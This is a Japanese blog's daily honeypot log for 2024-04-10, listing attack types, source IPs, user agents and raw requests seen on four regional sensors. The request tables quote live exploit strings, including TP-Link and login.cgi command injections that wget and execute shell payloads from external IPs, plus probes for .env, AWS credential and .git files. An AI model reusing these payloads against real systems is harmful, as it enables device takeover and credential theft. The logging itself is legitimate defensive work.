コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2024/04/10 ハニーポット(仮) 観測記録

ハニーポット(仮) 観測記録 2024/04/10分です。

特徴
共通

TP-Link製品の脆弱性を狙うアクセス
CensysInspectによるスキャン行為
curlによるスキャン行為
zgrabによるスキャン行為
.jsへのスキャン行為
/.envへのスキャン行為

Location:JP

GPONルータの脆弱性を狙うアクセス
/.awsへのスキャン行為
/.gitへのスキャン行為
112.124.42.80に関する不正通信
UserAgentがHello, Worldであるアクセス

を確認しました。

Location:US

D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Spring Cloud Gateway脆弱性(CVE-2022-22947)を狙うアクセス

を確認しました。

Location:UK

D-link製品の脆弱性を狙うアクセス
Spring Cloud Gateway脆弱性(CVE-2022-22947)を狙うアクセス
WordPressへのスキャン行為

を確認しました。

Location:SG

Spring Cloud Gateway脆弱性(CVE-2022-22947)を狙うアクセス
/.gitへのスキャン行為

を確認しました。

アクセス数推移

JP:総アクセス数:165 (前日比:-431)
US:総アクセス数:91 (前日比:11)
UK:総アクセス数:100 (前日比:14)
SG:総アクセス数:94 (前日比:-154)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス
65 3.8.159.102 United States
1 5.253.204.236 Romania
1 45.56.108.128 United States
1 60.191.125.35 China
1 64.62.197.138 United States
1 64.62.197.140 United States
13 64.227.149.175 United States
2 64.227.150.86 United States
1 87.121.69.52 Bulgaria
1 91.92.245.67 Bulgaria
1 94.156.65.122 Bulgaria
11 101.32.192.203 Singapore
1 103.67.162.245 private ip address
1 106.75.5.52 China
1 106.75.165.113 China
1 106.75.177.107 China
1 112.247.130.182 China
7 118.123.105.85 China
1 134.122.26.255 United States
12 135.125.217.54 France
4 135.125.246.189 France
1 157.254.223.198 United States
1 162.215.171.162 United States
1 165.232.34.99 United States
13 170.64.152.34 United States
1 172.105.128.11 United States
4 185.224.128.34 Netherlands
6 185.254.196.173 Ukraine
5 185.254.196.186 Ukraine
2 198.235.24.236 United States
1 199.45.154.69 United States
2 205.210.31.34 United States

UserAgent一覧

件数 UserAgent
19 -
6 Go-http-client/1.1
1 Hello, World
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
16 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.41
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.56
94 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
2 Mozilla/5.0 zgrab/0.x
2 Mozilla/5.0
1 Python-urllib/3.10
4 Root Slut
2 curl/8.1.2
1 xxx

リクエスト内容一覧

件数 Method Request Protocol
1 \x16\x03\x01\x01\xfa\x01
18 \x16\x03\x01
1 CONNECT api[.]ipify[.]org:443 HTTP/1.1
1 CONNECT google[.]com:443 HTTP/1.1
1 GET /.DS_Store HTTP/1.1
1 GET /.aws/credentials HTTP/1.1
1 GET /.env.development HTTP/1.1
1 GET /.env.dist HTTP/1.1
1 GET /.env.old HTTP/1.1
1 GET /.env.prod HTTP/1.1
1 GET /.env.production HTTP/1.1
1 GET /.env.project HTTP/1.1
1 GET /.env.save HTTP/1.1
30 GET /.env HTTP/1.1
1 GET /.git/HEAD HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /.vscode/sftp.json HTTP/1.1
1 GET //.env HTTP/1.1
2 GET /1.php HTTP/1.1
1 GET /PHPConf.php HTTP/1.1
1 GET /_phpinfo.php HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
1 GET /aaa9 HTTP/1.1
1 GET /aab8 HTTP/1.1
1 GET /admin-app/.env HTTP/1.1
1 GET /admin.php HTTP/1.1
1 GET /admin/phpinfo.php HTTP/1.1
1 GET /api/.env HTTP/1.1
1 GET /app/.env HTTP/1.1
1 GET /application/.env HTTP/1.1
1 GET /apps/.env HTTP/1.1
1 GET /back/.env HTTP/1.1
2 GET /bundle.js HTTP/1.1
4 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F103[.]163[.]214[.]97%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk) HTTP/1.1
1 GET /cms/.env HTTP/1.1
1 GET /core/.env HTTP/1.1
1 GET /dashboard/phpinfo.php HTTP/1.1
1 GET /development/.env HTTP/1.1
2 GET /docker/.env HTTP/1.1
1 GET /enviroments/.env.production HTTP/1.1
1 GET /enviroments/.env HTTP/1.1
3 GET /favicon.ico HTTP/1.1
1 GET /fedex/.env HTTP/1.1
2 GET /files/ HTTP/1.1
2 GET /form.html HTTP/1.1
2 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
4 GET /info.php HTTP/1.1
1 GET /info/info.php HTTP/1.1
1 GET /info/phpinfo.php HTTP/1.1
1 GET /infophp.php HTTP/1.1
1 GET /information.php HTTP/1.1
1 GET /information HTTP/1.1
1 GET /laravel/.env HTTP/1.1
1 GET /live_env HTTP/1.1
1 GET /local/.env HTTP/1.1
1 GET /p.php HTTP/1.1
2 GET /password.php HTTP/1.1
1 GET /php-info.php HTTP/1.1
1 GET /php.php HTTP/1.1
1 GET /php_info.php HTTP/1.1
2 GET /phpinfo.php HTTP/1.1
1 GET /phpinfo/phpinfo.php HTTP/1.1
1 GET /phpinfo HTTP/1.1
1 GET /phpinformation HTTP/1.1
1 GET /phptest.php HTTP/1.1
1 GET /phpversion.php HTTP/1.1
1 GET /pinfo.php HTTP/1.1
1 GET /private/.env HTTP/1.1
1 GET /rest/.env HTTP/1.1
1 GET /script/.env HTTP/1.1
1 GET /scripts/phpinfo.php HTTP/1.1
1 GET /shared/.env HTTP/1.1
1 GET /sources/.env HTTP/1.1
1 GET /system/.env HTTP/1.1
2 GET /systembc/password.php HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
1 GET /testphpinfo.php HTTP/1.1
1 GET /testphpinfo HTTP/1.1
2 GET /upl.php HTTP/1.1
1 GET /viewinfo.php HTTP/1.1
1 GET /web/.env HTTP/1.1
1 GET /webdav/info.php HTTP/1.1
1 GET /webdav/phpinfo.php HTTP/1.1
1 GET /webdav/phpinfo HTTP/1.1
1 GET /webui/ HTTP/1.1
1 HEAD /.env HTTP/1.1
11 HEAD /Core/Skin/Login.aspx HTTP/1.1
1 HEAD http[:]//112[.]124[.]42[.]80:63435/ HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /api/v0/id HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス
1 5.10.250.35 Azerbaijan
1 5.10.250.79 Azerbaijan
1 5.253.204.236 Romania
1 37.139.5.66 United States
3 45.79.181.251 United States
1 45.95.147.171 Netherlands
1 45.125.66.34 Hong Kong
1 45.128.96.141 Bulgaria
5 54.36.115.221 France
3 54.37.79.75 France
3 57.129.23.166 France
2 78.153.140.179 Russia
2 83.97.73.245 Germany
4 87.121.69.52 Bulgaria
1 113.128.236.229 China
1 138.68.151.51 United States
1 139.59.101.104 Singapore
13 143.110.184.91 United States
2 162.142.125.214 United States
4 164.52.0.94 China
13 167.71.228.52 United States
2 167.99.93.212 United States
1 172.104.11.4 United States
1 172.104.11.51 United States
1 172.104.242.173 United States
1 172.105.128.12 United States
4 184.105.247.195 United States
9 185.224.128.34 Netherlands
1 192.155.90.220 United States
1 194.165.16.76 Panama
2 205.210.31.9 United States
2 205.210.31.86 United States
2 206.168.34.33 United States

UserAgent一覧

件数 UserAgent
28 -
7 Go-http-client/1.1
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
16 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; rv:110.0) Gecko/20100101 Firefox/110.0
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
12 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
2 Mozilla/5.0 zgrab/0.x
3 Mozilla/5.0
9 Root Slut
2 curl/8.1.2
1 linus-torvalds-loves-you

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 \x03
1 \x16\x03\x01\x01\xfb\x01
4 \x16\x03\x01\x02
19 \x16\x03\x01
6 CONNECT google[.]com:443 HTTP/1.1
12 GET /.env HTTP/1.1
2 GET /1.php HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /aaa9 HTTP/1.1
1 GET /aab8 HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
2 GET /bundle.js HTTP/1.1
1 GET /cdn-cgi/trace HTTP/1.1
9 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F103[.]163[.]214[.]97%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk) HTTP/1.1
8 GET /favicon.ico HTTP/1.1
2 GET /files/ HTTP/1.1
2 GET /form.html HTTP/1.1
2 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
2 GET /info.php HTTP/1.1
1 GET /login.cgi?cli=aa%20aa%27;wget%20http[:]//193[.]35[.]18[.]164/klausschwab.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1
2 GET /password.php HTTP/1.1
2 GET /systembc/password.php HTTP/1.1
2 GET /upl.php HTTP/1.1
1 GET /webui/ HTTP/1.1
1 HEAD /.env HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
2 PRI * HTTP/2.0
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス
1 5.253.204.236 Romania
1 8.137.106.178 Singapore
1 45.33.80.243 United States
1 45.79.128.205 United States
1 45.79.181.94 United States
2 45.79.181.179 United States
2 45.79.181.223 United States
2 45.125.66.34 Hong Kong
5 51.159.99.244 France
7 54.36.115.221 France
6 54.37.79.75 France
1 64.62.197.186 United States
1 64.62.197.193 United States
1 64.62.197.195 United States
1 65.21.224.48 Germany
1 66.175.213.4 United States
1 66.240.192.82 United States
13 68.183.90.253 United States
2 78.153.140.177 Russia
2 83.97.73.245 Germany
4 87.121.69.52 Bulgaria
1 91.92.246.197 Bulgaria
1 103.99.0.154 Vietnam
2 106.75.134.86 China
1 115.55.249.42 China
1 139.59.101.104 Singapore
1 139.59.171.175 Singapore
13 147.182.153.80 United States
2 167.94.138.36 United States
1 167.172.82.151 United States
2 170.64.130.197 United States
1 172.104.11.4 United States
1 185.170.144.3 Estonia
8 185.224.128.34 Netherlands
1 192.155.90.220 United States
1 194.165.16.10 Panama
2 205.210.31.131 United States
2 205.210.31.224 United States
2 206.168.34.126 United States
1 216.218.206.68 United States

UserAgent一覧

件数 UserAgent
31 -
7 Go-http-client/1.1
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11
16 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 YaBrowser/23.1.2.987 Yowser/2.5 Safari/537.36
4 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.3
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
1 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
16 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
2 Mozilla/5.0 zgrab/0.x
3 Mozilla/5.0
8 Root Slut
1 curl/7.81.0
2 curl/8.1.2
1 python-requests/2.31.0

リクエスト内容一覧

件数 Method Request Protocol
2 \x03
1 \x16\x03\x01\x01H\x01
1 \x16\x03\x01\x01\xfc\x01
23 \x16\x03\x01
6 CONNECT google[.]com:443 HTTP/1.1
17 GET /.env HTTP/1.1
2 GET /1.php HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /aaa9 HTTP/1.1
1 GET /aab8 HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /ads.txt HTTP/1.1
1 GET /app-ads.txt HTTP/1.1
2 GET /bundle.js HTTP/1.1
2 GET /cdn-cgi/trace HTTP/1.1
8 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F103[.]163[.]214[.]97%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk) HTTP/1.1
7 GET /favicon.ico HTTP/1.1
2 GET /files/ HTTP/1.1
2 GET /form.html HTTP/1.1
2 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
2 GET /info.php HTTP/1.1
2 GET /password.php HTTP/1.1
1 GET /sellers.json HTTP/1.1
2 GET /systembc/password.php HTTP/1.1
2 GET /upl.php HTTP/1.1
1 GET /webui/ HTTP/1.1
1 HEAD /.env HTTP/1.1
1 HEAD / HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
1 POST /xmlrpc.php HTTP/1.1
2 PRI * HTTP/2.0
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス
1 5.253.204.236 Romania
1 45.56.108.128 United States
1 45.79.128.205 United States
1 45.79.181.223 United States
2 45.125.66.34 Hong Kong
4 54.36.115.221 France
7 54.37.79.75 France
3 57.129.23.166 France
1 64.62.197.98 United States
1 64.62.197.200 United States
1 64.62.197.205 United States
1 64.62.197.211 United States
1 66.175.213.4 United States
1 66.240.192.82 United States
13 68.183.90.253 United States
2 78.153.140.177 Russia
1 80.66.88.215 Russia
2 83.97.73.245 Germany
1 87.120.84.88 Bulgaria
4 87.121.69.52 Bulgaria
1 106.75.133.175 China
2 106.75.137.241 China
1 146.103.11.183 Belgium
13 147.182.153.80 United States
2 162.142.125.216 United States
2 168.76.20.229 South Africa
1 169.197.86.76 United States
2 170.64.177.80 United States
2 172.104.11.51 United States
1 172.105.128.11 United States
2 172.105.128.12 United States
1 172.105.128.13 United States
1 185.170.144.3 Estonia
2 185.180.143.189 Portugal
6 185.224.128.34 Netherlands
1 191.101.130.66 Brazil
2 198.235.24.222 United States
2 205.210.31.22 United States
1 213.226.123.98 Russia

UserAgent一覧

件数 UserAgent
27 -
10 Go-http-client/1.1
2 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
16 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
16 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
2 Mozilla/5.0 zgrab/0.x
2 Mozilla/5.0
6 Root Slut
2 curl/8.1.2

リクエスト内容一覧

件数 Method Request Protocol
1 -
2 \x03
1 \x16\x03\x01\x01H\x01
22 \x16\x03\x01
6 CONNECT google[.]com:443 HTTP/1.1
1 GET /.DS_Store HTTP/1.1
18 GET /.env HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /.vscode/sftp.json HTTP/1.1
2 GET /1.php HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /aaa9 HTTP/1.1
1 GET /aab8 HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
2 GET /bundle.js HTTP/1.1
6 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F103[.]163[.]214[.]97%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk) HTTP/1.1
6 GET /favicon.ico HTTP/1.1
2 GET /files/ HTTP/1.1
2 GET /form.html HTTP/1.1
2 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
2 GET /info.php HTTP/1.1
2 GET /password.php HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
2 GET /systembc/password.php HTTP/1.1
2 GET /upl.php HTTP/1.1
1 GET /webui/ HTTP/1.1
1 GET /zabbix/favicon.ico HTTP/1.1
1 HEAD /.env HTTP/1.1
1 PRI * HTTP/2.0